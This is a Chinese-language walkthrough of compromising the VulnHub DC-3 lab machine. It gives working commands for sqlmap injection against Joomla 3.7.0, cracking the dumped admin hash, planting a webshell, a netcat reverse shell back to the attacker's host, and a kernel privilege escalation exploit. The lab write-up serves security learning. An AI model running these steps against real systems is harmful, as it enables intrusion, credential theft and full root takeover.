vulnhub靶机试炼场之DC-3

DC-3靶机渗透实战

一.前言

关于这次的靶机渗透文章我已经托更很久了，一直都没有时间来好好看一下这个靶机。最近也是到了放假的时候，也会陆续的把之前期末复习期间欠下的东西好好回顾一下。在上个月里也没有好好的看过靶场里面的题目，这个月打算趁年前把ssrf的坑填了，顺便也想把文件上传这方面的靶场习题开个坑，以前只有在打比赛的时候才会着重看的漏洞就是文件上传，关于其中的奇技淫巧还有着太多不熟悉的地方，有时间要好好看一下了。

二.正文

这次的靶机只有一个flag所以这次就不以flag的先后顺序做时间线了，就以渗透的步骤做索引吧。

1.信息搜集阶段

首先，我们还是按照往常那样，用arp-scan来扫描整个网段。
arp-scan -l

从上面的图中我们可以分析出10.122.213.229就是我们要寻找的目标靶机。所以，我们启用nmap对改靶机进行全端口扫描。
nmap -sV -p- 10.122.213.229

我们直接去访问它的网站。

我们看到这个网站是用joomla搭建的，所以我们这里直接选用joomscan对其进行扫描。
joomscan -u 192.168.1.4(这里是复现的环境，所以ip地址会有差别)

我们发现这个框架的版本是joomla 3.7.0
我们直接使用searchsploit去寻找一下这个版本的漏洞。

joomla3.7有一个sql注入的漏洞，我们去看一下这个漏洞的说明文档。
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt

这个说明文档直接让我们用sqlmap去跑这个数据库，我们接下来构造命令，用sqlmap来跑。

2.漏洞利用

在终端中输入如下命令
sqlmap -u "http://192.168.1.4/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

我们在得到数据库的名称之后，我们着重对这个joomladb进行爆破。
我们接着爆表名。
sqlmap -u "http://192.168.1.4/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

然后对这些表中的#__users表进行字段名的爆破，输入如下命令
sqlmap -u "http://192.168.1.4/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]

对上面这些字段中我们最关心的就是username还有password了，所以接着用sqlmap来跑其中的字段值。
sqlmap -u "http://192.168.1.4/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C "name,password" --dump -p list[fullordering]

我们拿到了一个名为admin的用户的密码hash值。这道题不像之前的题目一样可以通过改表来实现，所以这里直接用john来进行爆破。将上述mimadehash装进一个文件，然后用john进行爆破
john pass//pass就是文件名

我们很快就爆出来了admin用户的密码，密码是snoopy。
我们在之前的joomscan扫描过程中曾扫出来一个后台登陆界面，也就是administrator界面，我们尝试用该用户名密码进行登录。

成功登录进去后，我们开始寻找可以利用的点，最终我们在templates下面找到一个可以创建文件并且可以写文件的地方。于是，尝试写入一句话木马

然后按照路径进行连接。

接着我们用蚁剑的虚拟终端进行下一步的操作

因为在蚁剑上并不能完全发挥我们的“渗透”技能，所以用蚁剑特有的方式把shell弹到我们的kali上。
我们要先在kali上监听一个端口（就是你弹的端口），然后在蚁剑命令行上面输入如下的命令
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.85.139 9000 >/tmp/f
然后我们就可以在kali端的命令行中收到目标主机的shell

然后我们用最常见的方式，把这个shell变成交互式的。
python -c 'import pty;pty.spawn("/bin/bash")'

3.本地提权
我们拿到了目标机器的shell，但是只可惜不是root的权限。所以我们接下来进行提权的操作。在之前的靶机渗透过程中我们利用的是suid进行提权但是在这道题中并不能很好的适用。所以接下来，我们来利用系统内核漏洞进行提权。
首先查看当前机器的系统内核版本情况。
cat /proc/version ，cat /etc/issue， uname -a
用上面这三个命令来查一下这个系统的基本情况。

还是去searchsploit里面进行搜索Ubuntu 16.

找到一个对于Linux内核4.4.x版本的漏洞利用。所以，我们来看一下其中的内容

我们先去下载39772.zip然后将其解压得到一个exploit.tar。然后我们cd进39772目录然后用python开启一个简单的网络服务。
python -m SimpleHTTPServer 10001

然后在目标机器上的shell中用wget来获取解压后的exploit文件。

然后在目标靶机的shell上面用漏洞利用说明文档里面写的那样一步一步照做就行了。
先解压tar xvf exploit.tar
然后cd ebpf_mapfd_doubleput_exploit

进行编译./compile.sh
然后提权./doubleput

最后我们来到root目录下面就能得到flag了

三.后记

最近买了本关于web方面的书籍，准备抽点时间拿来看看。一直都是自己漫无目的地去学这些东西也是时候去看一些书系统性的了解一下里面的内容了。